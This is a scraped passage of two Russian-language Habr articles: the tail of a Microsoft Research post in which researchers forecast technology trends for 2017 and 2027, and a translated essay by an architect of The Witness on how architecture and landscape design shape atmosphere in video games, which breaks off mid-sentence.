биологических вычислений в 2027 году? Если говорить о развитии программирования на основе биологических моделей, через десять лет могут возникнуть совершенно новые отрасли и решения в самых разных сферах, от сельского хозяйства и медицины до энергетики, материалов и вычислительных систем. За последние 50 лет жизнь людей коренным образом изменилась благодаря созданию программ для кремниевых микропроцессоров. Но теперь нас ждет новая революция: наступает эра живых программ. Мар Гонсалес Франко , исследователь, MSR NExT, Редмонд, Вашингтон, США Какие важнейшие усовершенствования в области виртуальной реальности стоит ожидать в 2017 году? В 2017 году появятся устройства виртуальной реальности с улучшенной функцией отслеживание положения тела. За счет этого можно будет создавать виртуальных «аватаров» и управлять ими, смотря на виртуальный мир от первого лица. Какими будут основные достижения или наиболее обсуждаемые технологии в области виртуальной реальности в 2027 году? К 2027 году системы виртуальной реальности будут использоваться повсеместно, они будут задействовать сразу несколько органов чувств и способны смешивать воспринимаемую реальность с виртуальной или изменять ее. С помощью этой технологии люди смогут восстанавливать, менять или улучшать свое восприятие действительности. В отличие от существующих систем виртуальной реальности, моделирующих только изображение и звук, в будущем можно будет использовать и другие режимы, например осязательное воздействие. Мэри Грей , старший исследователь, исследовательская лаборатория в Новой Англии Какие важнейшие усовершенствования и изменения в области общественных наук стоит ожидать в 2017 году? Специалисты по обществознанию и компьютерным наукам вместе разработают новые методы, позволяющие сопоставлять и оценивать культурные, экономические и политические «пузыри фильтров» (изолированные потоки персонализированных новостей и информации в Интернете), а также определить, как они влияют на повседневную жизнь людей вне Интернета. Какими будут основные достижения или наиболее обсуждаемые технологии в области общественных наук в 2027 году? К 2027 году почти 30 % взрослого населения США будет вовлечено в работу с использованием искусственного интеллекта: это могут быть как товары, произведенные с использованием ИИ, так и услуги, например налоговые или медицинские консультации. Потребители могут и не знать, участвуют ли люди в создании потребляемых ими товаров и услуг. Общественные науки будут играть важную роль в разработке технологий и политики для создания новой сети безопасности XXI века, учитывающей модель работы с использованием ИИ. Катя Хофман , исследователь, исследовательская лаборатория в Кембридже, Великобритания Какие важнейшие усовершенствования в области искусственного интеллекта и машинного обучения стоит ожидать в 2017 году? В 2017 году основным направлением разработки ИИ будут компьютерные игры. Экспериментальные платформы на основе игр дадут возможность быстро проверять новые идеи. Одна из них — Project Malmo . Это разработка моей команды, направленная на проведение экспериментов с ИИ в игре Minecraft. Лично мне очень нравится потенциал использования ИИ для совместной работы. Мы уже почти достигли понимания того, как ИИ может учиться у нас и сотрудничать с нами, чтобы помогать нам в достижении наших целей. Какими будут основные достижения или наиболее обсуждаемые технологии в области искусственного интеллекта и машинного обучения в 2027 году? ИИ развивается очень быстро. Трудно переоценить его роль в создании новых возможностей и решении важных глобальных задач. Для меня наиболее важной темой для обсуждения является практическое применение этих открытий и огромного потенциала в виде технологий, приносящих наибольшую пользу обществу. Николь Имморлика , старший исследователь, исследовательская лаборатория в Новой Англии Какие важнейшие прорывы в экономике и теории игр стоит ожидать в 2017 году? В эпоху больших данных людям приходится принимать все более сложные решения, прикладывать больше усилий, чтобы сделать правильный выбор. В будущем экономисты разработают новые теории о неоптимальном поведении из-за чрезмерной сложности, а ИТ-специалисты создадут автоматизированные средства машинного обучения, способные помочь людям в таких ситуациях. Какими будут основные достижения или наиболее обсуждаемые технологии в экономике и теории игр в 2027 году? К 2027 году автоматизация приведет к созданию новой экономики, в которой общественный вклад большинства людей будет определяться создаваемыми ими данными, а не выполняемой ими работой. Экономисты будут искать способы справедливого вознаграждения людей за этот вклад. Для этого, скорее всего, потребуется более масштабное перераспределение средств с помощью таких механизмов, как налоги и социальные программы. Кристин Лаутер , главный исследователь, исследовательская лаборатория в Редмонде, Вашингтон, США Какие важнейшие прорывы в математике и шифровании стоит ожидать в 2017 году? Для защиты медицинских и генетических данных пациентов и больниц будут развернуты новые математические решения, поддерживающие вычисления с зашифрованными данными. Новые гомоморфные схемы шифрования защитят данные, сохранив возможность предсказания риска, анализа и выдачи оповещений с помощью облачных вычислений. Решения на основе гомоморфного шифрования будут вскоре развернуты и в финансовом секторе для защиты важных банковских данных. Какими будут основные достижения или наиболее обсуждаемые технологии в математике и шифровании в 2027 году? Математические открытия лягут в основу нового поколения систем шифрования. К 2027 году появятся квантовые компьютеры, способные взламывать по крайней мере наименее стойкие традиционные шифры. Если говорить о долгосрочной защите данных, то уже идет разработка первой волны «послеквантовых» систем шифрования, основанных на предложенных недавно труднорешаемых математических задачах. Учитывая развитие математических методик и алгоритмов, через десять лет должна появиться вторая волна «послеквантовых» систем шифрования, более эффективная по сравнению со всеми существующими системами. Кэтрин Мак-Кинли , главный исследователь, исследовательская лаборатория в Редмонде, Вашингтон, США Какие важнейшие усовершенствования в языках программирования и создании программного обеспечения стоит ожидать в 2017 году? В языках программирования наиболее значимым шагом станет вероятностное программирование, в котором разработчики будут создавать модели, оценивающие реальный мир и явным образом обосновывающие неопределенность в данных и вычислениях. В основе нового ПО по-прежнему будет программный код, а к концу 2017 года появятся новые интересные приложения. Какими будут основные достижения или наиболее обсуждаемые технологии в языках программирования и создании программного обеспечения в 2027 году? К 2027 году большинство инженеров по программному обеспечению будут свободно ориентироваться в системах программирования, работающих на основе оценок и создающих модели со статистическими методами. Это изменение даст возможность выпускать приложения, которые обрабатывают данные с датчиков, используют машинное обучение и приближение для взаимодействия с людьми совершенно по-новому. Сесили Моррисон , исследователь, Кембридж, Великобритания, исследовательская лаборатория Какие важнейшие усовершенствования в области антропоцентрических вычислений и доступности стоит ожидать в 2017 году? Люди с нарушениями зрения будут широко использовать индивидуальные средства помощи, новые технологии в этой области обретут техническое воплощение. Какими будут основные достижения или наиболее обсуждаемые технологии в области антропоцентрических вычислений и доступности в 2027 году? Все дети, в том числе и с ограниченными возможностями, смогут учиться программированию, если захотят. Еще 20 лет — и эти дети с нарушениями реализуют свои уникальные знания и преобразят спектр используемых технологий. Ольга Охрименко , исследователь, Кембридж, Великобритания, исследовательская лаборатория Какие важнейшие усовершенствования в области безопасности и конфиденциальности стоит ожидать в 2017 году? В связи с распространением доверенного оборудования появятся новые, востребованные и программистами, и пользователями приложения и инструменты, отличительной особенностью которых будет высокий уровень надежности. Какими будут основные достижения или наиболее обсуждаемые технологии в области безопасности и конфиденциальности в 2027 году? Новое оборудование и системы шифрования дадут возможность вывести защиту конфиденциальных данных на новый уровень: для медицинского и административного анализа, для алгоритмов машинного обучения и в повседневной жизни будут использоваться только зашифрованные личные данные. Ориана Рива , исследователь, Редмонд, MSR NExT Какие важнейшие усовершенствования мобильных устройств стоит ожидать в 2017 году? В 2017 году системы все чаще будут поддерживать взаимодействие без графического пользовательского интерфейса. Пользователи будут реже устанавливать приложения на свои устройства, а приложения будут все чаще превращаться в фоновые службы наподобие чат-ботов и личных помощников. Какими будут основные достижения или наиболее обсуждаемые технологии для мобильных устройств в 2027 году? Основным улучшением мобильных устройств в 2027 году станет существенное расширение взаимодействия с цифровым миром, оно будет охватывать практически любые предметы и технологии, используемые людьми. Мы будем применять личные интеллектуальные системы, действительно способные нас понять, заслуживающие нашего доверия и знающие нас настолько хорошо, чтобы не только удовлетворять наши потребности, но и предугадывать их. Аста Роузвэй , главный исследователь, исследовательская лаборатория в Редмонде, Вашингтон, США Какие важнейшие усовершенствования в сфере заботы об экологии, охраны окружающей среды и проектирования стоит ожидать в 2017 году? В 2017 году начнутся разработки в области использования «Интернета вещей» в сельском хозяйстве, включая повсеместное использование датчиков, возможностей компьютерного зрения и облачных хранилищ для интенсивного машинного обучения и аналитики. С помощью таких решений фермеры смогут отслеживать, анализировать и диагностировать состояние своих ферм на всех уровнях. Какими будут основные достижения или наиболее обсуждаемые технологии в сфере заботы об экологии, охраны окружающей среды и проектирования в 2027 году? Фермеры будут использовать возможности искусственного интеллекта для поддержания высокой урожайности вне зависимости от климатических изменений, засух и стихийных бедствий. Будущее производства продуктов питания зависит от нашей способности сохранить важнейшие ресурсы нашей планеты и эффективнее их использовать, сократить площади земель, используемых в сельском хозяйстве, за счет перехода от традиционных методик к альтернативным с пониженным потреблением энергии, например к вертикальным фермам и аквапонике. Что касается экологии, основное внимание будет уделяться сохранению лесов с помощью современных технологий и с учетом показаний датчиков, а также более активному использованию городского пространства для удовлетворения наших сельскохозяйственных потребностей. Карин Штраус , старший исследователь, исследовательская лаборатория в Редмонде, Вашингтон, США Какие важнейшие усовершенствования в оборудовании и устройствах стоит ожидать в 2017 году? Закон Мура постепенно замедляется. Сохранение темпов развития процессоров общего назначения на кремниевой основе и с емкостной памятью обходится слишком дорого. Поэтому в 2017 году появится ряд новых специализированных аппаратных ускорителей, в основном в виде процессоров FPGA. Они будут использоваться в облаке для повышения производительности при снижении затрат (вместо линейного наращивания мощности по закону Мура). Разумеется, процессоры общего назначения будут совершенствоваться и далее, хотя и не так стремительно, как раньше. В результате мы получим более интересные, быстрые и безопасные службы на облачной основе. На рынке появятся также новые устройства и принадлежности для виртуальной и дополненной реальности, как дешевые, так и дорогие. Вследствие этого появятся новые приложения на этих платформах, а также интересные разработки в области создания содержимого для виртуальной и дополненной реальности, включая видеосъемку с ракурсом 360 градусов и аналогичные решения. Какими будут основные достижения или наиболее обсуждаемые технологии для оборудования и устройств в 2027 году? К 2027 году можно ожидать развития ряда новых технологий, не связанных с линейным наращиванием мощности кремниевых микропроцессоров. Углеродные нанотрубки и другие методики молекулярного производства, новые архитектуры, в частности производящие вычисления ближе к данным, новые парадигмы вычислений и хранения данных, такие как квантовые компьютеры и накопители на основе ДНК, возможно, будут развиты настолько, что станут доступными для коммерческого использования. Произойдет скачок в развитии технологий ИИ с пониженным потреблением энергии, а также экранов, расположенных вблизи глаз пользователя, за счет чего мы получим более интеллектуальные устройства и расширенные возможности дополненной и виртуальной реальности. Сяоянь Сун , ведущий исследователь, исследовательская лаборатория в Азии Какие важнейшие усовершенствования в области компьютерного зрения стоит ожидать в 2017 году? В 2017 году продолжится развитие технологий компьютерного зрения на основе методик глубокого обучения. Это проявится в создании технологий распознавания предметов, близких по точности человеческим возможностям, появлении легких портативных систем компьютерного зрения и широком распространении различных платформ. Какими будут основные достижения или наиболее обсуждаемые технологии в области компьютерного зрения в 2027 году? К 2027 году способность компьютеров «видеть» будет повсеместной, будут распространены мощные устройства получения изображений, вычислительные ресурсы, методики обучения. В результате развития этих технологий появятся решения, способные не просто записывать изображение окружающего мира, а действительно «видеть» его, помогать в работе и в повседневной жизни людям всех профессий, от производства и здравоохранения до финансов и безопасности. Донмэй Чжань , главный руководитель исследований, исследовательская лаборатория в Азии Какие важнейшие усовершенствования в области аналитики и представления данных стоит ожидать в 2017 году? В 2017 году основным направлением развития аналитики и представления данных будет интеллектуальное обнаружение данных с интерактивными возможностями, интуитивным управлением и мгновенным обнаружением полезной информации. Нужные сведения будут формироваться автоматически и предлагаться пользователем на основе контекстной аналитической информации. При формировании и предложении сведений учитывается реакция пользователя, за счет этого создается эффективный и быстрый цикл обратной связи. Пользователи смогут выполнять аналитические задачи, затрачивая меньше времени и усилий. Какими будут основные достижения или наиболее обсуждаемые технологии в области аналитики и представления данных в 2027 году? Благодаря усовершенствованиям в области аналитики и представления данных в 2027 году будут доступны возможности перекрестной аналитики данных из разных источников и разных областей на разных семантических уровнях. Люди смогут использовать естественные способы взаимодействия, например, естественный язык, для получения обширной и подробной информации о различных аспектах своей жизни без каких-либо затруднений. Вперед в будущее! Чтобы вы могли ощутить себя в далеком будущем уже сейчас, Microsoft, совместно с писателем-фантастом Тимом Скоренко, подготовили поздравительную открытку , в которой вы перенесетесь в 2086 год и узнаете, как технологии поменяли жизнь людей к тому времени. Давайте фантазировать вместе! Делитесь в комментариях своими прогнозами. :)
https://habrahabr.ru/company/microsoft/blog/318178/
habrahabr
Создание атмосферы в видеоиграх при помощи архитектуры
['архитектура', 'the witness', 'дизайн', 'ландшафтный дизайн']
Я — основательница дизайн-студии FOURM и один из архитекторов игры The Witness. Эта статья вдохновлена моим опытом работы с ландшафтными дизайнерами и разработчиками этого проекта. Возможно,...
Я — основательница дизайн-студии FOURM и один из архитекторов игры The Witness . Эта статья вдохновлена моим опытом работы с ландшафтными дизайнерами и разработчиками этого проекта. Возможно, это первый случай такого тесного сотрудничества представителей этих трёх профессий. Как и во всех случаях межотраслевого взаимодействия, возникает множество проблем. Но в случае успеха (и мне кажется, мы его достигли) в результате может возникнуть нечто красивое и инновационное. Я надеюсь осветить и упростить этот процесс для других благодаря полученным нами урокам. Думаю, что стоит изучить, как такое сотрудничество может обеспечить качественный игровой процесс. Зачем работать с архитекторами В сентябре 2010 года Джонатан Блоу (Jonathan Blow) связался со мной и предложил поработать над своей новой видеоигрой The Witness . Посмотрев на прототип, мы пригласили ещё и коллектив ландшафтных дизайнеров Fletcher Studio . Нам показалось это хорошей идеей: несмотря на то, что на острове было около 20 зданий, большей частью окружения была природа. Архитекторы и ландшафтные дизайнеры знают, что здание — это сооружение, вписанное в контекст ландшафта. Ни одно здание не должно создаваться без учёта ландшафта, частью которого оно станет. Джонатан посчитал это логичным, и к лету мы приступили к работе. Мой опыт работы над The Witness в течение пяти лет стал одним из самых творческих и восхитительных ощущений в карьере. Я благодарна таким художникам, как Ронен Бекерман ( Ronen Bekerman ) за повышение качества архитектуры в играх. Но когда я смотрю на архитектуру в большинстве видеоигр, меня расстраивает то, что я вижу. Я задаюсь вопросом, почему нет более тесного сотрудничества между опытными архитекторами, ландшафтными дизайнерами и разработчиками видеоигр. Как архитектор я знаю, что нам нравится создавать объекты реального мира, и, возможно, многим из нас кажется, что игры не принесут такой отдачи. Архитекторы не часто играют в игры или не видят, где они смогут быть полезны. Многие думают, что игры — это программирование, и что нам обязательно нужен этот навык. Также я думаю, что архитекторы могут не видеть ценности индустрии видеоигр и её продукции. К сожалению, и я была столь же невежественной, пока не довелось поработать в этой отрасли. Разработчики, в свою очередь, могут думать, что им не нужны архитекторы и не осознавать их ценности. В конце концов, у тех нет никакого опыта в индустрии игр. По моему опыту я знаю, что большинство разработчиков игр, в том числе и художников, просто не понимает архитектуру и ландшафтный дизайн. И это не удивительно, если учесть, что в этих высокоспециализированных отраслях люди учатся до семи лет в колледже, чтобы впитать и развить в себе навыки дизайна. Кроме того, многие разработчики просто могут считать, что дизайнеров не потянет их бюджет. Реальность такова, что эти предрассудки могут мешать сотрудничеству, которое способно расширить рамки дизайна физической архитектуры и видеоигр как формы искусства. Позвольте мне перечислить преимущества работы с нами: Когда вы приглашаете в команду разработки архитектора и ландшафтного дизайнера, вы получаете профессионала, подготовленного к концептуальной, итеративной и критической работе. Несмотря на различия в продукте, процессы и инструменты разработки дизайна схожи. Мы приучены учитывать ощущения пользователя при перемещении в пространстве, поэтому легко воспринимаем концепцию геймплея. Мы вносим бóльшую глубину в создание 3D-окружений, которая может обеспечить более глубокое погружение и улучшить геймплей. Мы привыкли работать с клиентами и в многодисциплинарных командах, поэтому с нами удобно сотрудничать. Технологические усовершенствования игровых движков, возможности рендеринга, виртуальная реальность и т.д. увеличивают потребность в нашем опыте, потому что цифровые среды стремятся стать ещё более реалистичными и/или фантастическими. Подводя итог, могу сказать, что любая трёхмерная по своей природе игра может выиграть от участия архитектора или ландшафтного дизайнера. Мы поможем воспринимать пространство не просто как помещение или оболочку. Если такое мышление не используется, многие элементы дизайна, критически важные для погружения в геймплей, ускользают от внимания разработчиков игр. Создание значительности: о чём нужно подумать Если вы работаете без архитектора или ландшафтного дизайнера, есть 10 основных аспектов, в которых игры часто ошибочны, и которых можно избежать, имея определённые знания о дизайне. Я буду приводить в пример некоторые другие игры кроме The Witness , как успешные, так и не очень, потому что они популярны, интересны, и большинство из них мне просто нравится. Было бы замечательно поднять их на новый уровень, чтобы окружение не отвлекало и не мешало целям, которых пытались достичь разработчики. 1. Разработка архитектурных нарративов Всегда полезно помнить, что ландшафты и архитектура основаны на временных, физических и правовых ограничениях реального мира. Какова топография ландшафта? Какие материалы нам доступны? В каком климате мы находимся? Каковы правила зонирования? Где встаёт солнце? Поэтому первый вопрос, заданный нами команде Джонатана (Thekla), был: «Где находится север?» Они ответили: «А какая разница?» Я понимала, что нам нужно воссоздать и переосмыслить ограничения реального мира, с которым мы работали. Для создания собственной среды нам нужно было создать нарратив и новые ограничения, определяющие его. Но как создать нарратив, обеспечивающий организацию сложного окружения? Иногда для создания целостной картины мира создатели видеоигр придерживаются одного стиля/периода или жанра. Но в реальности окружения существуют иначе. Созданные нами окружения имеют историю, меняющийся со временем рассказ. Они многослойны. В Witness мы используем движение времени для создания нарратива. Окружения — это серия повторно используемых зданий и ландшафтов, начиная с доисторических времён до настоящего и будущего. Каждое здание и ландшафт создано в ответ на потребности по крайней мере одной цивилизации, а в некоторых зданиях нашли своё выражение все три цивилизации. Например, на краю острова есть бетонная фабрика, построенная на карьере. Окружение отражает то, как люди каменного века (первая цивилизация) начали добывать камень для могил через небольшие разрезы в утёсе. Потом можно увидеть, где камень добывался в больших масштабах для религиозных сооружений, церквей и соборов второй цивилизации. Построенная здесь церковь высечена и построена из камней, добытых неподалёку. С развитием третьей цивилизации начали добываться камни ещё крупнее для изготовления бетона, более современного строительного материала. Мелкие камни тоже нужны были в качестве наполнителя, поэтому церковь была преобразована в завод для увеличения масштабов процесса и постройки других зданий на острове. Для ориентации на местности дым выбросов фабрики поднимается вверх из старого шпиля. Внутри фабрики оборудование встроено в панели церковного фриза, что даёт гейм-дизайнерам возможность погрузить игрока в нарратив на более глубоком уровне. Хотя такие архитектурные нарративы даются нам легко, они могут быть не так просты для разработчиков геймплея. Для нас геймплейные ограничения были более сложными. Нам повезло работать с таким разработчиком, как Джонатан, который предоставил нам то, что стало основным ограничением — сам геймплей. Правила The Witness относительно геймплея были жёсткими и ограниченными во многих аспектах. Мы, архитекторы, должны были понять, что это значит. Это одна из тех вещей, которые архитекторы должны понять при работе с гейм-дизайнерами. Кроме того, нужно было осознавать, что разработчики могут более жёстко придерживаться дизайна окружения. 2. Интегрирование ландшафта и архитектуры Разработка тесной интеграции архитектуры и ландшафта критически важна для создания реалистичного и целостного игрового процесса. В таких играх, как The Witness , Bioshock Infinite , The Talos Principle , Ether One и даже Super Mario 3D World создаются окружения, в которых интеграция этого аспекта мира критически важна для восприятия игроком. В The Witness ландшафтные дизайнеры помогли нам понять законы развития мира природы и объяснили, как изучить и адаптировать удивительные геологические формации и биомы под потребности геймплея. Мы также работали над тем, чтобы каждое здание интегрировалось в окружение, и использовали ландшафт, чтобы направлять игроков к компонентам, которые они должны найти или увидеть. 3. Дизайн зданий Здания в играх обычно связаны с изображениями, которые разработчик или художник игры видел в журналах, в жизни или на иллюстрациях. Я редко видела в играх здания, которые созданы осмысленно или разработаны специально под стиль, концепцию и нарратив игры. Bioshock Infinite — это игра с интересным окружением, но и она не использовала полностью преимущества создания действительно удивительных и уникальных зданий, которые бы могли поддержать её нарратив. Мне нравятся сцены с парящими зданиями 18-го вера, прижатыми друг к другу, и восхитительно созданное качество пространства. Оно было бы ещё сильнее, если бы разработчики использовали в дизайне зданий эстетику стимпанка. Специальные формы и детали, повторяющиеся внутри и снаружи зданий, могли бы уменьшить визуальный шум в игре. Создатели смогли бы достичь ещё более сильного ощущения возвышенности, как им это удалось в уровне с маяками. 4. Применение материалов и текстур Большинство гейм-дизайнеров, наверно, слишком хорошо знает об «украшении» уровней кустами, сломанными стенами, камнями, пятнами и шумом для решения проблем с дизайном. Но понимание свойств материалов, их поведения и способов создания всё равно поможет художникам выбирать лучшие решения в применении этого аспекта дизайна. Внимательно приглядывайтесь к окружающему вас миру, и вы начнёте замечать, как трескается бетон и дерево, как ржавеет и плавится сталь. Многие игры страдают от подхода «скопировал и вставил» — в них здания и материалы размещаются без ограничений и понимания их свойств. Это может происходить из-за большого темпа создания огромных миров, но всё равно нужно понимать некоторые базовые принципы материалов. Тогда вы сможете принимать быстрые решения более обоснованно. Например, стиль стимпанка, который используется в нарративе BioShock Infinite — это жанр, богатый на текстуры и детали. Однако в игре художники создали шумный коллаж. Каменные колонны стоят на деревянных полах (значительно более лёгких материалах). Структуры и архитектурные элементы сделаны из четырёх-пяти разных материалов, не соотносящихся друг с другом и в реальности не выдержавшие бы нагрузок. В The Witness мы стремились создать палитру материалов, поддерживающих нарратив и помогающих художникам понимать их (например, способ создания бетона). Теперь они сами стали экспертами и могут разрабатывать текстуры вдумчиво и в соответствии со стилем геймплея. Мы также работали над текстурами для выделения существенных качеств материала, чтобы игрок мог понимать, на что он смотрит. При этом материал не должен быть отличаться от художественного стиля игры. The Witness: колокольня из кортеновской стали и каменной кладки второй цивилизации 5. Масштабы, пропорции и стиль Понимание конструкции зданий (соединений между элементами) и их влияния на восприятие окружений помогает разработке внутренних и внешних сред. И архитекторы очень хорошо понимают это. Поэтому хороший способ экономичной работы с архитектором — дать ему задачу создания набросков сцен. Например, такого, который я сделала за несколько минут по сцене из Ether One . Текстура дерева должна быть мельче. У стола низкий уровень детализации по сравнению с другими элементами, например, настенными панелями, высота которых слишком мала (в идеале — 1-1,2 метра). Освещение должно быть более целостным, а растения в тёмных углах определённо должны засохнуть от недостатка света (и было бы неплохо, если бы они там были). Разработчики использовали в этой игровой области каменные колонны, так почему бы не внести этот элемент в пространство для целостности? Кроме того, не существует деревянных панелей, которые бы могли закрыть всю длину задней стены. Добавление швов/панелей на этой стене и на столе делает сцену более убедительной, придаёт вертикальности и создаёт уровень детализации, соответствующий остальному пространству. Также разработчики могут добавить больше «пластов времени» в одну комнату, это бы поддержало нарратив, связанный с деменцией персонажа. Например, старая древесина, виднеющееся через сорванную гипсокартонную панель. Отличный пример таких аспектов дизайна можно найти в Journey . Здесь архитектурные конструкции точны, целостны и пропорциональны друг другу. В то же время они создают фантастический мир. Ландшафт и здания имеют правильный масштаб относительно персонажа и других объектов игры. Вертикальность и пропорции целостно воспроизведены на протяжении всей игры. Это придаёт игре очень чистый и целостный вид. Даже когда в этих пропорциях есть отличия от реальных, они выполнены с пониманием базовых принципов дизайна и работают достаточно хорошо. Если вы научитесь понимать масштаб и пропорции архитектуры и ландшафтов, то ими будет проще управлять. 6. Детали Вместе с пониманием масштаба и пропорций приходит правильная визуализация деталей архитектуры. Она может использоваться, чтобы избежать абстрактности, если художественный стиль игры реалистичен, или для упрощения, если объекты создаются в свободном стиле. Самое важное — сохранять целостность уровня детализации и масштаба этих элементов. На это мы потратили в The Witness довольно много времени, потому что освещение, лестницы, дверные ручки, мебель и окна разработаны с одним уровнем детализации и соответствуют нашему художественному стилю. Для нас это делало современную архитектуру иногда сложной, и мы упорно работали над созданием деталей, отражающих конструкции в низкополигональном, но реалистичном стиле с нужным нам художественным качеством. The Witness: центральная часовня Эта сцена из Ether One выглядит прекрасно, но внесение этих небольших изменений гармонизировало бы всё пространство Mirror's Edge — ещё одна игра, в которой проделана отличная работа по детализации большинства элементов. Разработчики стратегически использовали системы зданий (электрическую, водопроводную, нагревательную и охладительную) и пометили их цветом для удобства перемещения и восприятия. Визуально это выглядит приятно из-за отсутствия шума. В то же время благодаря пониманию материалов, переходов, деталей и конструкций созданный мир выглядит насыщенным. Даже в таких пространственно разнообразных, но простых в исполнении играх вроде Relativity существует невероятная целостность, из-за которой в игровом мире приятно находиться. Игра уникальна и проста по своему стилю, целостна в палитре и деталях, что, как мне кажется, помогает погружению в этот «мир Эшера». Контрастирующие компоненты детализации тоже могут стать отличной возможностью для хорошего дизайна. Например, сочетание временных пластов в The Talos Principle очень интересно, наблюдая за ними, я думаю, как можно лучше интегрировать их, потому что они сильно выделяются из окружения. Вместо «приклеивания» к камню, эти технологические объекты могли бы интегрироваться в структуру стены старого замка более изысканным способом. Это добавило бы значительности внешнему виду игры и ощущениям от неё, поддержало бы нарратив и логично изменило текстуры. 7. Переходы Кроме сочетания деталей, важно чётко отделить переходы: области между комнатами и пространствами, пороги и входы, вертикальные конструкции (низ, середину и верх), места соединения стен с полом и т.д. Часто на архитектурные конструкции наложены текстурные карты (от обоев до кирпичей). Но когда переходы между поверхностями игнорируются, то возникает несогласованность между деталями материала и самими конструкциями. Я видела это почти в каждой игре, в которую играла. Это оказывается одним из важнейших уровней усовершенствований, выполненных нами в финальном проходе работы над The Witness . 8. Персонажи и окружение Кристиан Натт (Christian Nutt) из Gamasutra спросил меня, смогла ли бы Super Mario 3D World выиграть от работы архитекторов. Думаю, что да, возможно. Интересно то, что, как и в архитектуре реального мира, в Super Mario 3D World активно используется модульность. Исследование того, что знающий архитектуру дизайнер мог бы привнести в игру, просто восхитительно. Я считаю, что популярные игры вроде Super Mario 3D World — это идеальное средство для повышения визуальной грамотности. Они просты и в то же время могут помочь понимать цели игры и мира вокруг него. Что я заметила в этой и многих других играх: архитектурное окружение не имеет одинаковые пропорции и детализацию по сравнению с персонажами, двигающимися по сцене. Похоже, что в Super Mario 3D World масштаб кривых и деталей персонажей увеличен. Я часто задаюсь вопросом: возможно, художникам просто так более удобно и у них больше опыта в дизайне персонажей? Я знаю, что иногда такой подход используется для выделения персонажей, что имеет смысл. Но мне интересно, можно ли при помощи исследования художественного стиля и выделения окружения добиться их лучшего сочетания и улучшить ясность и игровой опыт. Думаю, что в Mirror's Edge это удалось. Фоны сделаны отчётливыми, так что они обладают значительностью, но при этом не подавляют персонажей. 10. Пространство между Хотя архитектура важна сама по себе, соотношения между зданиями также важны, как и сами здания. Они являются частью общей сцены, которую вы создаёте, и понимание того, как здания могут создавать внешние пространства и разнообразить пространственные ощущения сильно влияют на геймплей. The Talos Principle — это пример того, как некоторые пространства могут быть скомпонованы очень хорошо, а другие — хуже. Во многих областях есть ощущение плоскостности, потому что отсутствует выраженная вертикальность. Существует также проблема с ощущением традиционности архитектуры, которое возникает в замках из-за их предназначения и использования в качестве места защиты и наблюдения. Открытые пространства и внутренние дворы, где игрок ведёт стрельбу, слишком велики по сравнению с высотой стен и чрезмерно обширны для внутренних пространств замка. Существует возможность обуздать дизайн замков, разработав радиальную форму средневекового города, которая поддержала бы игровой опыт и обеспечила больший интерес к нему благодаря пространственной вариативности, отражающей исторический нарратив того времени. Многие здания, построенные до возникновения модерна, содержат воздействовавшую на этот стиль иерархию, например, церковный неф или большая входная дверь. Такое упрощение архитектурного опыта в контексте геймплея противоречит нашим ощущениям от этого типа архитектуры и является упущенной возможностью. Почему бы не использовать логику этих зданий для улучшения геймплея? Также во многих играх часто встречаются огромные пространства с «повисшими» в них игровыми объектами. Нереалистичная плотность расположения зданий или комнат не обеспечивает нужную для развития событий поддержку. Часто объекты имеют разный масштаб друг относительно друга или больше своих реальных прототипов. Например, входное фойе из Gone Home в плане значительно отличается по пропорциям от высоты и масштаба от типичного пригородного дома. Объекты «повисли» в пространстве и выглядят находящимися вне контекста ощущения от пространства реального дома. Это мешает игроку погрузиться в реальность игры. Внимание игрока привлекают объекты, потому что они выделяются в пустой комнате. Но похоже, что игра была бы более успешной, если бы они интегрировались в окружения с правильными масштабами. Разработчики могут использовать само пространство, чтобы направлять игрока к нужным компонентам изощрёнными способами, например, через освещение, цвета и детализацию. Gone Home — это одна из моих любимых игр, потому что в ней используется трёхмерное и двухмерное представление пространства. Она могла бы быть ещё сильнее, если бы воссоздала дом или даже район, имеющий логическую сложность и создающий осмысленное домашнюю среду, усиливающую игровой опыт и опирающуюся на личные воспоминания игрока о доме. Рабочий процесс Я хочу немного рассказать о нашем рабочем процессе тем, кто раздумывает о сотрудничестве с профессионалами в области дизайна. За время работы мы многому научились. Некоторые принципы были новыми для нас, многие были схожи с нашим образом работы. Создание архитектуры — это итеративный процесс, использующий и аналоговые, и цифровые носители. Он всегда требует творческой работы с людьми, имеющими различный инженерный или художественный опыт. В этом отношении работа с разработчиками игр ничем не отличалась. На схеме ниже показан этот рабочий процесс, который для нас обычно начинался с грубого прототипа, созданного Thekla. Иногда мы вместе с разработчиками создавали прототип по замыслу одного из нас, но обычно прототипы разрабатывал Джонатан. Как бы то ни было, дизайн-студия FOURM тесно работала с Fletcher Studio над разработкой зданий и ландшафта, а потом мы возвращались в Thekla с несколькими вариантами для рассмотрения. В самом начале мы готовили дизайн в форме моделей Sketchup или Rhino, рисунков от руки и справочных изображений, но скоро поняли, что лучшим выбором будет проверка вариантов в самом игровом движке. Sketchup оказался наиболее удобным, потому что мы не использовали 3DS или Maya, а экспорт из NURBS-редакторов типа Rhino создавал сложности при подготовке моделей. Если какие-то варианты оказывались подходящими, Thekla разрабатывала один-два и оценивала их успешность. Если варианты не подходили, мы возвращались с новыми. После тестирования командой Thekla прототипа в игре мы улучшали его и так работали итеративно до окончательного результата. В конце мы выполнили финальную полировку всей архитектуры в игре, и уровень проработанности оказался даже выше моих ожиданий. Выбор архитектора Если вы размышляете над сотрудничеством с архитектором, то я расскажу, что вам нужно учесть. Не все архитекторы одинаковы, поэтому не все окажутся подходящими для вашей команды. В идеале вам нужно найти архитектора/ландшафтного дизайнера, с лёгкостью работающего в ПО для 3D-моделирования и понимающего конструкцию зданий. Этим владеет большинство, но хороший технический архитектор не всегда силён в концептуальном мышлении. Вам нужно найти такого, который бы смог разработать архитектуру из абстрактных/философских идей или из геймплейного нарратива. Такой дизайнер даже может помочь с разработкой нарративов. Если у архитектора есть опыт в игровой индустрии или он любит игры, то это замечательно. Но если нет, то он должен как минимум хотеть играть в игры и учиться в этой отрасли. Для меня такой учёбой является поиск игр, которые я люблю и которые мне не очень нравятся. Также обучение включает в себя посещение отраслевых конференций за собственные средства, чтобы более глубоко разобраться в индустрии. Участвуя в создании игры, архитектор должен уважать и чётко понимать правила и концепцию геймплея. Время и затраты Я считаю, что мы влились в The Witness в подходящее время. Базовый рабочий прототип был уже создан, потому что Джонатану не потребовалась помощь в оформлении концепции игры. Временные затраты могут зависеть от бюджета и ресурсов. Печальная для нас и хорошая для вас новость в том, что архитектор — это самая низкооплачиваемая профессия (а ещё мы плохи в математике). Обычно архитекторы работают за фиксированную сумму, зависящую от этапов проекта и связанную с общими затратами на проект. Доход архитектора может варьироваться от 5% до 15% от общего 